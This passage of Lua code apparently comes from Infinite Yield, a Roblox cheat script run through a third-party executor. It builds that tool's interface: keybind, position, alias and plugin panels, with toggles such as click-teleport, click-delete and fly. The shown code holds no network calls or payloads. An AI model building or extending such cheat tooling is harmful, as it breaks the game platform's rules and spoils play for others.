IntroBackground.Name = "IntroBackground" IntroBackground.Parent = Holder IntroBackground.Active = true IntroBackground.BackgroundColor3 = Color3.fromRGB(36, 36, 37) IntroBackground.BorderSizePixel = 0 IntroBackground.Position = UDim2.new(0, 0, 0, 45) IntroBackground.Size = UDim2.new(0, 250, 0, 175) IntroBackground.ZIndex = 10 Logo.Name = "Logo" Logo.Parent = Holder Logo.BackgroundTransparency = 1 Logo.BorderSizePixel = 0 Logo.Position = UDim2.new(0, 125, 0, 127) Logo.Size = UDim2.new(0, 10, 0, 10) Logo.Image = getcustomasset("infiniteyield/assets/logo.png") Logo.ImageTransparency = 0 Logo.ZIndex = 10 Credits.Name = "Credits" Credits.Parent = Holder Credits.BackgroundTransparency = 1 Credits.BorderSizePixel = 0 Credits.Position = UDim2.new(0, 0, 0.9, 30) Credits.Size = UDim2.new(0, 250, 0, 20) Credits.Font = Enum.Font.SourceSansLight Credits.FontSize = Enum.FontSize.Size14 Credits.Text = "Edge // Zwolf // Moon // Toon // Peyton // ATP" Credits.TextColor3 = Color3.new(1, 1, 1) Credits.ZIndex = 10 KeybindsFrame.Name = "KeybindsFrame" KeybindsFrame.Parent = Settings KeybindsFrame.Active = true KeybindsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37) KeybindsFrame.BorderSizePixel = 0 KeybindsFrame.Position = UDim2.new(0, 0, 0, 175) KeybindsFrame.Size = UDim2.new(0, 250, 0, 175) KeybindsFrame.ZIndex = 10 table.insert(shade1,KeybindsFrame) Close.Name = "Close" Close.Parent = KeybindsFrame Close.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Close.BorderSizePixel = 0 Close.Position = UDim2.new(0, 205, 0, 150) Close.Size = UDim2.new(0, 40, 0, 20) Close.Font = Enum.Font.SourceSans Close.TextSize = 14 Close.Text = "Close" Close.TextColor3 = Color3.new(1, 1, 1) Close.ZIndex = 10 table.insert(shade2,Close) table.insert(text1,Close) Add.Name = "Add" Add.Parent = KeybindsFrame Add.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Add.BorderSizePixel = 0 Add.Position = UDim2.new(0, 5, 0, 150) Add.Size = UDim2.new(0, 40, 0, 20) Add.Font = Enum.Font.SourceSans Add.TextSize = 14 Add.Text = "Add" Add.TextColor3 = Color3.new(1, 1, 1) Add.ZIndex = 10 table.insert(shade2,Add) table.insert(text1,Add) Delete.Name = "Delete" Delete.Parent = KeybindsFrame Delete.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Delete.BorderSizePixel = 0 Delete.Position = UDim2.new(0, 50, 0, 150) Delete.Size = UDim2.new(0, 40, 0, 20) Delete.Font = Enum.Font.SourceSans Delete.TextSize = 14 Delete.Text = "Clear" Delete.TextColor3 = Color3.new(1, 1, 1) Delete.ZIndex = 10 table.insert(shade2,Delete) table.insert(text1,Delete) Holder_2.Name = "Holder" Holder_2.Parent = KeybindsFrame Holder_2.BackgroundTransparency = 1 Holder_2.BorderSizePixel = 0 Holder_2.Position = UDim2.new(0, 0, 0, 0) Holder_2.Size = UDim2.new(0, 250, 0, 145) Holder_2.ScrollBarImageColor3 = Color3.fromRGB(78,78,79) Holder_2.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_2.CanvasSize = UDim2.new(0, 0, 0, 0) Holder_2.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_2.ScrollBarThickness = 0 Holder_2.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_2.VerticalScrollBarInset = 'Always' Holder_2.ZIndex = 10 Example_2.Name = "Example" Example_2.Parent = KeybindsFrame Example_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Example_2.BorderSizePixel = 0 Example_2.Size = UDim2.new(0, 10, 0, 20) Example_2.Visible = false Example_2.ZIndex = 10 table.insert(shade2,Example_2) Text_3.Name = "Text" Text_3.Parent = Example_2 Text_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Text_3.BorderSizePixel = 0 Text_3.Position = UDim2.new(0, 10, 0, 0) Text_3.Size = UDim2.new(0, 240, 0, 20) Text_3.Font = Enum.Font.SourceSans Text_3.TextSize = 14 Text_3.Text = "nom" Text_3.TextColor3 = Color3.new(1, 1, 1) Text_3.TextXAlignment = Enum.TextXAlignment.Left Text_3.ZIndex = 10 table.insert(shade2,Text_3) table.insert(text1,Text_3) Delete_2.Name = "Delete" Delete_2.Parent = Text_3 Delete_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79) Delete_2.BorderSizePixel = 0 Delete_2.Position = UDim2.new(0, 200, 0, 0) Delete_2.Size = UDim2.new(0, 40, 0, 20) Delete_2.Font = Enum.Font.SourceSans Delete_2.TextSize = 14 Delete_2.Text = "Delete" Delete_2.TextColor3 = Color3.new(0, 0, 0) Delete_2.ZIndex = 10 table.insert(shade3,Delete_2) table.insert(text2,Delete_2) KeybindEditor.Name = randomString() KeybindEditor.Parent = ScaledHolder KeybindEditor.Active = true KeybindEditor.BackgroundTransparency = 1 KeybindEditor.Position = UDim2.new(0.5, -180, 0, -500) KeybindEditor.Size = UDim2.new(0, 360, 0, 20) KeybindEditor.ZIndex = 10 background_2.Name = "background" background_2.Parent = KeybindEditor background_2.Active = true background_2.BackgroundColor3 = Color3.fromRGB(36, 36, 37) background_2.BorderSizePixel = 0 background_2.Position = UDim2.new(0, 0, 0, 20) background_2.Size = UDim2.new(0, 360, 0, 185) background_2.ZIndex = 10 table.insert(shade1,background_2) Dark_3.Name = "Dark" Dark_3.Parent = background_2 Dark_3.Active = true Dark_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Dark_3.BorderSizePixel = 0 Dark_3.Position = UDim2.new(0, 135, 0, 0) Dark_3.Size = UDim2.new(0, 2, 0, 185) Dark_3.ZIndex = 10 table.insert(shade2,Dark_3) Directions.Name = "Directions" Directions.Parent = background_2 Directions.BackgroundTransparency = 1 Directions.BorderSizePixel = 0 Directions.Position = UDim2.new(0, 10, 0, 15) Directions.Size = UDim2.new(0, 115, 0, 90) Directions.ZIndex = 10 Directions.Font = Enum.Font.SourceSans Directions.Text = "Click the button below and press a key/mouse button. Then select what you want to bind it to." Directions.TextColor3 = Color3.fromRGB(255, 255, 255) Directions.TextSize = 14.000 Directions.TextWrapped = true Directions.TextYAlignment = Enum.TextYAlignment.Top table.insert(text1,Directions) BindTo.Name = "BindTo" BindTo.Parent = background_2 BindTo.BackgroundColor3 = Color3.fromRGB(46, 46, 47) BindTo.BorderSizePixel = 0 BindTo.Position = UDim2.new(0, 10, 0, 95) BindTo.Size = UDim2.new(0, 115, 0, 50) BindTo.ZIndex = 10 BindTo.Font = Enum.Font.SourceSans BindTo.Text = "Click to bind" BindTo.TextColor3 = Color3.fromRGB(255, 255, 255) BindTo.TextSize = 16.000 table.insert(shade2,BindTo) table.insert(text1,BindTo) TriggerLabel.Name = "TriggerLabel" TriggerLabel.Parent = background_2 TriggerLabel.BackgroundTransparency = 1 TriggerLabel.Position = UDim2.new(0, 10, 0, 155) TriggerLabel.Size = UDim2.new(0, 45, 0, 20) TriggerLabel.ZIndex = 10 TriggerLabel.Font = Enum.Font.SourceSans TriggerLabel.Text = "Trigger:" TriggerLabel.TextColor3 = Color3.fromRGB(255, 255, 255) TriggerLabel.TextSize = 14.000 TriggerLabel.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,TriggerLabel) BindTriggerSelect.Name = "BindTo" BindTriggerSelect.Parent = background_2 BindTriggerSelect.BackgroundColor3 = Color3.fromRGB(46, 46, 47) BindTriggerSelect.BorderSizePixel = 0 BindTriggerSelect.Position = UDim2.new(0, 60, 0, 155) BindTriggerSelect.Size = UDim2.new(0, 65, 0, 20) BindTriggerSelect.ZIndex = 10 BindTriggerSelect.Font = Enum.Font.SourceSans BindTriggerSelect.Text = "KeyDown" BindTriggerSelect.TextColor3 = Color3.fromRGB(255, 255, 255) BindTriggerSelect.TextSize = 16.000 table.insert(shade2,BindTriggerSelect) table.insert(text1,BindTriggerSelect) Add_2.Name = "Add" Add_2.Parent = background_2 Add_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Add_2.BorderSizePixel = 0 Add_2.Position = UDim2.new(0, 310, 0, 35) Add_2.Size = UDim2.new(0, 40, 0, 20) Add_2.ZIndex = 10 Add_2.Font = Enum.Font.SourceSans Add_2.Text = "Add" Add_2.TextColor3 = Color3.fromRGB(255, 255, 255) Add_2.TextSize = 14.000 table.insert(shade2,Add_2) table.insert(text1,Add_2) Toggles.Name = "Toggles" Toggles.Parent = background_2 Toggles.BackgroundTransparency = 1 Toggles.BorderSizePixel = 0 Toggles.Position = UDim2.new(0, 150, 0, 125) Toggles.Size = UDim2.new(0, 200, 0, 50) Toggles.ZIndex = 10 Toggles.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Toggles.CanvasSize = UDim2.new(0, 0, 0, 50) Toggles.ScrollBarThickness = 8 Toggles.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Toggles.VerticalScrollBarInset = Enum.ScrollBarInset.Always table.insert(scroll,Toggles) ClickTP.Name = "Click TP (Hold Key & Click)" ClickTP.Parent = Toggles ClickTP.BackgroundColor3 = Color3.fromRGB(46, 46, 47) ClickTP.BorderSizePixel = 0 ClickTP.Size = UDim2.new(0, 200, 0, 20) ClickTP.ZIndex = 10 ClickTP.Font = Enum.Font.SourceSans ClickTP.Text = " Click TP (Hold Key & Click)" ClickTP.TextColor3 = Color3.fromRGB(255, 255, 255) ClickTP.TextSize = 14.000 ClickTP.TextXAlignment = Enum.TextXAlignment.Left table.insert(shade2,ClickTP) table.insert(text1,ClickTP) Select.Name = "Select" Select.Parent = ClickTP Select.BackgroundColor3 = Color3.fromRGB(78, 78, 79) Select.BorderSizePixel = 0 Select.Position = UDim2.new(0, 160, 0, 0) Select.Size = UDim2.new(0, 40, 0, 20) Select.ZIndex = 10 Select.Font = Enum.Font.SourceSans Select.Text = "Add" Select.TextColor3 = Color3.fromRGB(0, 0, 0) Select.TextSize = 14.000 table.insert(shade3,Select) table.insert(text2,Select) ClickDelete.Name = "Click Delete (Hold Key & Click)" ClickDelete.Parent = Toggles ClickDelete.BackgroundColor3 = Color3.fromRGB(46, 46, 47) ClickDelete.BorderSizePixel = 0 ClickDelete.Position = UDim2.new(0, 0, 0, 25) ClickDelete.Size = UDim2.new(0, 200, 0, 20) ClickDelete.ZIndex = 10 ClickDelete.Font = Enum.Font.SourceSans ClickDelete.Text = " Click Delete (Hold Key & Click)" ClickDelete.TextColor3 = Color3.fromRGB(255, 255, 255) ClickDelete.TextSize = 14.000 ClickDelete.TextXAlignment = Enum.TextXAlignment.Left table.insert(shade2,ClickDelete) table.insert(text1,ClickDelete) Select_2.Name = "Select" Select_2.Parent = ClickDelete Select_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79) Select_2.BorderSizePixel = 0 Select_2.Position = UDim2.new(0, 160, 0, 0) Select_2.Size = UDim2.new(0, 40, 0, 20) Select_2.ZIndex = 10 Select_2.Font = Enum.Font.SourceSans Select_2.Text = "Add" Select_2.TextColor3 = Color3.fromRGB(0, 0, 0) Select_2.TextSize = 14.000 table.insert(shade3,Select_2) table.insert(text2,Select_2) Cmdbar_2.Name = "Cmdbar_2" Cmdbar_2.Parent = background_2 Cmdbar_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Cmdbar_2.BorderSizePixel = 0 Cmdbar_2.Position = UDim2.new(0, 150, 0, 35) Cmdbar_2.Size = UDim2.new(0, 150, 0, 20) Cmdbar_2.ZIndex = 10 Cmdbar_2.Font = Enum.Font.SourceSans Cmdbar_2.PlaceholderText = "Command" Cmdbar_2.Text = "" Cmdbar_2.TextColor3 = Color3.fromRGB(255, 255, 255) Cmdbar_2.TextSize = 14.000 Cmdbar_2.TextXAlignment = Enum.TextXAlignment.Left Cmdbar_3.Name = "Cmdbar_3" Cmdbar_3.Parent = background_2 Cmdbar_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Cmdbar_3.BorderSizePixel = 0 Cmdbar_3.Position = UDim2.new(0, 150, 0, 60) Cmdbar_3.Size = UDim2.new(0, 150, 0, 20) Cmdbar_3.ZIndex = 10 Cmdbar_3.Font = Enum.Font.SourceSans Cmdbar_3.PlaceholderText = "Command 2" Cmdbar_3.Text = "" Cmdbar_3.TextColor3 = Color3.fromRGB(255, 255, 255) Cmdbar_3.TextSize = 14.000 Cmdbar_3.TextXAlignment = Enum.TextXAlignment.Left CreateToggle.Name = "CreateToggle" CreateToggle.Parent = background_2 CreateToggle.BackgroundColor3 = Color3.fromRGB(46, 46, 47) CreateToggle.BackgroundTransparency = 1 CreateToggle.BorderSizePixel = 0 CreateToggle.Position = UDim2.new(0, 152, 0, 10) CreateToggle.Size = UDim2.new(0, 198, 0, 20) CreateToggle.ZIndex = 10 CreateToggle.Font = Enum.Font.SourceSans CreateToggle.Text = "Create Toggle" CreateToggle.TextColor3 = Color3.fromRGB(255, 255, 255) CreateToggle.TextSize = 14.000 CreateToggle.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,CreateToggle) Button_2.Name = "Button" Button_2.Parent = CreateToggle Button_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79) Button_2.BorderSizePixel = 0 Button_2.Position = UDim2.new(1, -20, 0, 0) Button_2.Size = UDim2.new(0, 20, 0, 20) Button_2.ZIndex = 10 table.insert(shade3,Button_2) On_2.Name = "On" On_2.Parent = Button_2 On_2.BackgroundColor3 = Color3.fromRGB(150, 150, 151) On_2.BackgroundTransparency = 1 On_2.BorderSizePixel = 0 On_2.Position = UDim2.new(0, 2, 0, 2) On_2.Size = UDim2.new(0, 16, 0, 16) On_2.ZIndex = 10 On_2.Font = Enum.Font.SourceSans On_2.Text = "" On_2.TextColor3 = Color3.fromRGB(0, 0, 0) On_2.TextSize = 14.000 shadow_2.Name = "shadow" shadow_2.Parent = KeybindEditor shadow_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47) shadow_2.BorderSizePixel = 0 shadow_2.Size = UDim2.new(0, 360, 0, 20) shadow_2.ZIndex = 10 table.insert(shade2,shadow_2) PopupText_2.Name = "PopupText_2" PopupText_2.Parent = shadow_2 PopupText_2.BackgroundTransparency = 1 PopupText_2.Size = UDim2.new(1, 0, 0.949999988, 0) PopupText_2.ZIndex = 10 PopupText_2.Font = Enum.Font.SourceSans PopupText_2.Text = "Set Keybinds" PopupText_2.TextColor3 = Color3.fromRGB(255, 255, 255) PopupText_2.TextSize = 14.000 PopupText_2.TextWrapped = true table.insert(text1,PopupText_2) Exit_2.Name = "Exit_2" Exit_2.Parent = shadow_2 Exit_2.BackgroundTransparency = 1 Exit_2.Position = UDim2.new(1, -20, 0, 0) Exit_2.Size = UDim2.new(0, 20, 0, 20) Exit_2.ZIndex = 10 Exit_2.Text = "" ExitImage_2.Parent = Exit_2 ExitImage_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ExitImage_2.BackgroundTransparency = 1 ExitImage_2.Position = UDim2.new(0, 5, 0, 5) ExitImage_2.Size = UDim2.new(0, 10, 0, 10) ExitImage_2.ZIndex = 10 ExitImage_2.Image = getcustomasset("infiniteyield/assets/close.png") PositionsFrame.Name = "PositionsFrame" PositionsFrame.Parent = Settings PositionsFrame.Active = true PositionsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37) PositionsFrame.BorderSizePixel = 0 PositionsFrame.Size = UDim2.new(0, 250, 0, 175) PositionsFrame.Position = UDim2.new(0, 0, 0, 175) PositionsFrame.ZIndex = 10 table.insert(shade1,PositionsFrame) Close_3.Name = "Close" Close_3.Parent = PositionsFrame Close_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Close_3.BorderSizePixel = 0 Close_3.Position = UDim2.new(0, 205, 0, 150) Close_3.Size = UDim2.new(0, 40, 0, 20) Close_3.Font = Enum.Font.SourceSans Close_3.TextSize = 14 Close_3.Text = "Close" Close_3.TextColor3 = Color3.new(1, 1, 1) Close_3.ZIndex = 10 table.insert(shade2,Close_3) table.insert(text1,Close_3) Delete_5.Name = "Delete" Delete_5.Parent = PositionsFrame Delete_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Delete_5.BorderSizePixel = 0 Delete_5.Position = UDim2.new(0, 50, 0, 150) Delete_5.Size = UDim2.new(0, 40, 0, 20) Delete_5.Font = Enum.Font.SourceSans Delete_5.TextSize = 14 Delete_5.Text = "Clear" Delete_5.TextColor3 = Color3.new(1, 1, 1) Delete_5.ZIndex = 10 table.insert(shade2,Delete_5) table.insert(text1,Delete_5) Part.Name = "PartGoto" Part.Parent = PositionsFrame Part.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Part.BorderSizePixel = 0 Part.Position = UDim2.new(0, 5, 0, 150) Part.Size = UDim2.new(0, 40, 0, 20) Part.Font = Enum.Font.SourceSans Part.TextSize = 14 Part.Text = "Part" Part.TextColor3 = Color3.new(1, 1, 1) Part.ZIndex = 10 table.insert(shade2,Part) table.insert(text1,Part) Holder_4.Name = "Holder" Holder_4.Parent = PositionsFrame Holder_4.BackgroundTransparency = 1 Holder_4.BorderSizePixel = 0 Holder_4.Position = UDim2.new(0, 0, 0, 0) Holder_4.Selectable = false Holder_4.Size = UDim2.new(0, 250, 0, 145) Holder_4.ScrollBarImageColor3 = Color3.fromRGB(78,78,79) Holder_4.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_4.CanvasSize = UDim2.new(0, 0, 0, 0) Holder_4.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_4.ScrollBarThickness = 0 Holder_4.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_4.VerticalScrollBarInset = 'Always' Holder_4.ZIndex = 10 Example_4.Name = "Example" Example_4.Parent = PositionsFrame Example_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Example_4.BorderSizePixel = 0 Example_4.Size = UDim2.new(0, 10, 0, 20) Example_4.Visible = false Example_4.Position = UDim2.new(0, 0, 0, -5) Example_4.ZIndex = 10 table.insert(shade2,Example_4) Text_5.Name = "Text" Text_5.Parent = Example_4 Text_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Text_5.BorderSizePixel = 0 Text_5.Position = UDim2.new(0, 10, 0, 0) Text_5.Size = UDim2.new(0, 240, 0, 20) Text_5.Font = Enum.Font.SourceSans Text_5.TextSize = 14 Text_5.Text = "Position" Text_5.TextColor3 = Color3.new(1, 1, 1) Text_5.TextXAlignment = Enum.TextXAlignment.Left Text_5.ZIndex = 10 table.insert(shade2,Text_5) table.insert(text1,Text_5) Delete_6.Name = "Delete" Delete_6.Parent = Text_5 Delete_6.BackgroundColor3 = Color3.fromRGB(78, 78, 79) Delete_6.BorderSizePixel = 0 Delete_6.Position = UDim2.new(0, 200, 0, 0) Delete_6.Size = UDim2.new(0, 40, 0, 20) Delete_6.Font = Enum.Font.SourceSans Delete_6.TextSize = 14 Delete_6.Text = "Delete" Delete_6.TextColor3 = Color3.new(0, 0, 0) Delete_6.ZIndex = 10 table.insert(shade3,Delete_6) table.insert(text2,Delete_6) TP.Name = "TP" TP.Parent = Text_5 TP.BackgroundColor3 = Color3.fromRGB(78, 78, 79) TP.BorderSizePixel = 0 TP.Position = UDim2.new(0, 155, 0, 0) TP.Size = UDim2.new(0, 40, 0, 20) TP.Font = Enum.Font.SourceSans TP.TextSize = 14 TP.Text = "Goto" TP.TextColor3 = Color3.new(0, 0, 0) TP.ZIndex = 10 table.insert(shade3,TP) table.insert(text2,TP) AliasesFrame.Name = "AliasesFrame" AliasesFrame.Parent = Settings AliasesFrame.Active = true AliasesFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37) AliasesFrame.BorderSizePixel = 0 AliasesFrame.Position = UDim2.new(0, 0, 0, 175) AliasesFrame.Size = UDim2.new(0, 250, 0, 175) AliasesFrame.ZIndex = 10 table.insert(shade1,AliasesFrame) Close_2.Name = "Close" Close_2.Parent = AliasesFrame Close_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Close_2.BorderSizePixel = 0 Close_2.Position = UDim2.new(0, 205, 0, 150) Close_2.Size = UDim2.new(0, 40, 0, 20) Close_2.Font = Enum.Font.SourceSans Close_2.TextSize = 14 Close_2.Text = "Close" Close_2.TextColor3 = Color3.new(1, 1, 1) Close_2.ZIndex = 10 table.insert(shade2,Close_2) table.insert(text1,Close_2) Delete_3.Name = "Delete" Delete_3.Parent = AliasesFrame Delete_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Delete_3.BorderSizePixel = 0 Delete_3.Position = UDim2.new(0, 5, 0, 150) Delete_3.Size = UDim2.new(0, 40, 0, 20) Delete_3.Font = Enum.Font.SourceSans Delete_3.TextSize = 14 Delete_3.Text = "Clear" Delete_3.TextColor3 = Color3.new(1, 1, 1) Delete_3.ZIndex = 10 table.insert(shade2,Delete_3) table.insert(text1,Delete_3) Holder_3.Name = "Holder" Holder_3.Parent = AliasesFrame Holder_3.BackgroundTransparency = 1 Holder_3.BorderSizePixel = 0 Holder_3.Position = UDim2.new(0, 0, 0, 0) Holder_3.Size = UDim2.new(0, 250, 0, 145) Holder_3.ScrollBarImageColor3 = Color3.fromRGB(78,78,79) Holder_3.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_3.CanvasSize = UDim2.new(0, 0, 0, 0) Holder_3.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_3.ScrollBarThickness = 0 Holder_3.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_3.VerticalScrollBarInset = 'Always' Holder_3.ZIndex = 10 Example_3.Name = "Example" Example_3.Parent = AliasesFrame Example_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Example_3.BorderSizePixel = 0 Example_3.Size = UDim2.new(0, 10, 0, 20) Example_3.Visible = false Example_3.ZIndex = 10 table.insert(shade2,Example_3) Text_4.Name = "Text" Text_4.Parent = Example_3 Text_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Text_4.BorderSizePixel = 0 Text_4.Position = UDim2.new(0, 10, 0, 0) Text_4.Size = UDim2.new(0, 240, 0, 20) Text_4.Font = Enum.Font.SourceSans Text_4.TextSize = 14 Text_4.Text = "honk" Text_4.TextColor3 = Color3.new(1, 1, 1) Text_4.TextXAlignment = Enum.TextXAlignment.Left Text_4.ZIndex = 10 table.insert(shade2,Text_4) table.insert(text1,Text_4) Delete_4.Name = "Delete" Delete_4.Parent = Text_4 Delete_4.BackgroundColor3 = Color3.fromRGB(78, 78, 79) Delete_4.BorderSizePixel = 0 Delete_4.Position = UDim2.new(0, 200, 0, 0) Delete_4.Size = UDim2.new(0, 40, 0, 20) Delete_4.Font = Enum.Font.SourceSans Delete_4.TextSize = 14 Delete_4.Text = "Delete" Delete_4.TextColor3 = Color3.new(0, 0, 0) Delete_4.ZIndex = 10 table.insert(shade3,Delete_4) table.insert(text2,Delete_4) PluginsFrame.Name = "PluginsFrame" PluginsFrame.Parent = Settings PluginsFrame.Active = true PluginsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37) PluginsFrame.BorderSizePixel = 0 PluginsFrame.Position = UDim2.new(0, 0, 0, 175) PluginsFrame.Size = UDim2.new(0, 250, 0, 175) PluginsFrame.ZIndex = 10 table.insert(shade1,PluginsFrame) Close_4.Name = "Close" Close_4.Parent = PluginsFrame Close_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Close_4.BorderSizePixel = 0 Close_4.Position = UDim2.new(0, 205, 0, 150) Close_4.Size = UDim2.new(0, 40, 0, 20) Close_4.Font = Enum.Font.SourceSans Close_4.TextSize = 14 Close_4.Text = "Close" Close_4.TextColor3 = Color3.new(1, 1, 1) Close_4.ZIndex = 10 table.insert(shade2,Close_4) table.insert(text1,Close_4) Add_3.Name = "Add" Add_3.Parent = PluginsFrame Add_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Add_3.BorderSizePixel = 0 Add_3.Position = UDim2.new(0, 5, 0, 150) Add_3.Size = UDim2.new(0, 40, 0, 20) Add_3.Font = Enum.Font.SourceSans Add_3.TextSize = 14 Add_3.Text = "Add" Add_3.TextColor3 = Color3.new(1, 1, 1) Add_3.ZIndex = 10 table.insert(shade2,Add_3) table.insert(text1,Add_3) Holder_5.Name = "Holder" Holder_5.Parent = PluginsFrame Holder_5.BackgroundTransparency = 1 Holder_5.BorderSizePixel = 0 Holder_5.Position = UDim2.new(0, 0, 0, 0) Holder_5.Selectable = false Holder_5.Size = UDim2.new(0, 250, 0, 145) Holder_5.ScrollBarImageColor3 = Color3.fromRGB(78,78,79) Holder_5.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_5.CanvasSize = UDim2.new(0, 0, 0, 0) Holder_5.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_5.ScrollBarThickness = 0 Holder_5.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" Holder_5.VerticalScrollBarInset = 'Always' Holder_5.ZIndex = 10 Example_5.Name = "Example" Example_5.Parent = PluginsFrame Example_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Example_5.BorderSizePixel = 0 Example_5.Size = UDim2.new(0, 10, 0, 20) Example_5.Visible = false Example_5.ZIndex = 10 table.insert(shade2,Example_5) Text_6.Name = "Text" Text_6.Parent = Example_5 Text_6.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Text_6.BorderSizePixel = 0 Text_6.Position = UDim2.new(0, 10, 0, 0) Text_6.Size = UDim2.new(0, 240, 0, 20) Text_6.Font = Enum.Font.SourceSans Text_6.TextSize = 14 Text_6.Text = "F4 > Toggle Fly" Text_6.TextColor3 = Color3.new(1, 1, 1) Text_6.TextXAlignment = Enum.TextXAlignment.Left Text_6.ZIndex = 10 table.insert(shade2,Text_6) table.insert(text1,Text_6) Delete_7.Name = "Delete" Delete_7.Parent = Text_6 Delete_7.BackgroundColor3 = Color3.fromRGB(78, 78, 79) Delete_7.BorderSizePixel = 0 Delete_7.Position = UDim2.new(0, 200, 0, 0) Delete_7.Size = UDim2.new(0, 40, 0, 20) Delete_7.Font = Enum.Font.SourceSans Delete_7.TextSize = 14 Delete_7.Text = "Delete" Delete_7.TextColor3 = Color3.new(0, 0, 0) Delete_7.ZIndex = 10 table.insert(shade3,Delete_7) table.insert(text2,Delete_7) PluginEditor.Name = randomString() PluginEditor.Parent = ScaledHolder PluginEditor.BorderSizePixel = 0 PluginEditor.Active = true PluginEditor.BackgroundTransparency = 1 PluginEditor.Position = UDim2.new(0.5, -180, 0, -500) PluginEditor.Size = UDim2.new(0, 360, 0, 20) PluginEditor.ZIndex = 10 background_3.Name = "background" background_3.Parent = PluginEditor background_3.Active = true background_3.BackgroundColor3 = Color3.fromRGB(36, 36, 37) background_3.BorderSizePixel = 0 background_3.Position = UDim2.new(0, 0, 0, 20) background_3.Size = UDim2.new(0, 360, 0, 160) background_3.ZIndex = 10 table.insert(shade1,background_3) Dark_2.Name = "Dark" Dark_2.Parent = background_3 Dark_2.Active = true Dark_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Dark_2.BorderSizePixel = 0 Dark_2.Position = UDim2.new(0, 222, 0, 0) Dark_2.Size = UDim2.new(0, 2, 0, 160) Dark_2.ZIndex = 10 table.insert(shade2,Dark_2) Img.Name = "Img" Img.Parent = background_3 Img.BackgroundTransparency = 1 Img.Position = UDim2.new(0, 242, 0, 3) Img.Size = UDim2.new(0, 100, 0, 95) Img.Image = getcustomasset("infiniteyield/assets/imgstudiopluginlogo.png") Img.ZIndex = 10 AddPlugin.Name = "AddPlugin" AddPlugin.Parent = background_3 AddPlugin.BackgroundColor3 = Color3.fromRGB(46, 46, 47) AddPlugin.BorderSizePixel = 0 AddPlugin.Position = UDim2.new(0, 235, 0, 100) AddPlugin.Size = UDim2.new(0, 115, 0, 50) AddPlugin.Font = Enum.Font.SourceSans AddPlugin.TextSize = 14 AddPlugin.Text = "Add Plugin" AddPlugin.TextColor3 = Color3.new(1, 1, 1) AddPlugin.ZIndex = 10 table.insert(shade2,AddPlugin) table.insert(text1,AddPlugin) FileName.Name = "FileName" FileName.Parent = background_3 FileName.BackgroundColor3 = Color3.fromRGB(46, 46, 47) FileName.BorderSizePixel = 0 FileName.Position = UDim2.new(0.028, 0, 0.625, 0) FileName.Size = UDim2.new(0, 200, 0, 50) FileName.Font = Enum.Font.SourceSans FileName.TextSize = 14 FileName.Text = "Plugin File Name" FileName.TextColor3 = Color3.new(1, 1, 1) FileName.ZIndex = 10 table.insert(shade2,FileName) table.insert(text1,FileName) About.Name = "About" About.Parent = background_3 About.BackgroundTransparency = 1 About.BorderSizePixel = 0 About.Position = UDim2.new(0, 17, 0, 10) About.Size = UDim2.new(0, 187, 0, 49) About.Font = Enum.Font.SourceSans About.TextSize = 14 About.Text = "Plugins are .iy files and should be located in the 'workspace' folder of your exploit." About.TextColor3 = Color3.fromRGB(255, 255, 255) About.TextWrapped = true About.TextYAlignment = Enum.TextYAlignment.Top About.ZIndex = 10 table.insert(text1,About) Directions_2.Name = "Directions" Directions_2.Parent = background_3 Directions_2.BackgroundTransparency = 1 Directions_2.BorderSizePixel = 0 Directions_2.Position = UDim2.new(0, 17, 0, 60) Directions_2.Size = UDim2.new(0, 187, 0, 49) Directions_2.Font = Enum.Font.SourceSans Directions_2.TextSize = 14 Directions_2.Text = "Type the name of the plugin file you want to add below." Directions_2.TextColor3 = Color3.fromRGB(255, 255, 255) Directions_2.TextWrapped = true Directions_2.TextYAlignment = Enum.TextYAlignment.Top Directions_2.ZIndex = 10 table.insert(text1,Directions_2) shadow_3.Name = "shadow" shadow_3.Parent = PluginEditor shadow_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) 